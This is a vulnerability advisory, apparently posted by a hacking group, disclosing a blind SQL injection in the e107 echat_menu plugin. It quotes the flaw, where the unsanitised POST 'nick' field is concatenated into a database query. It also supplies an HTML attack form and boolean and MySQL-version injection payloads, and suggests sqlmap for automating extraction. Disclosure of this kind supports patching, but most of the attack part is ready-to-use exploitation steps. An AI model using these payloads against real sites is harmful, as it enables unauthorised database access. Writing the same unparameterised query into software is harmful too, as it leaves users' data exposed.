e107 Plugin echat MENU Blind SQL Injection Vulnerability
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# ::e107 Plugin echat MENU Blind SQL Injection Vulnerability::
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Virangar Security Team
www.virangar.net
www.virangar.ir
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Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------vuln codes in:-----------
e107chat.php:
line 109: $nick = $_POST['nick'];
..
..
line 171:db_Select("user","user_name","user_name='".$nick."'");
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exploit:
[-]note=becuse e107 using diffrent prefix/table names it's impossible to
writting exploit for it :(
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lets test the bug white a simply html form that post data to "e107chat.php" :
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<form method="post"
action="http://localhost/e107/plugins/echat_menu/e107chat.php";><br>
nick:<input type="text" name="nick" size="20">
<br><input type="submit"><br>
</form>
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see the result:
nick: hadi and 1=1-- #page loaded whit any errors.
nick: hadi and 1=2-- #page loaded whit any data and some error
cheking the mysql version:
nick: hadi and substring(@@version,1,1)=5--
or
nick: hadi and substring(@@version,1,1)=4--
# you can exploting the bug white blind sql automatic toolz such as sqlmap or
...
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young iranian h4ck3rz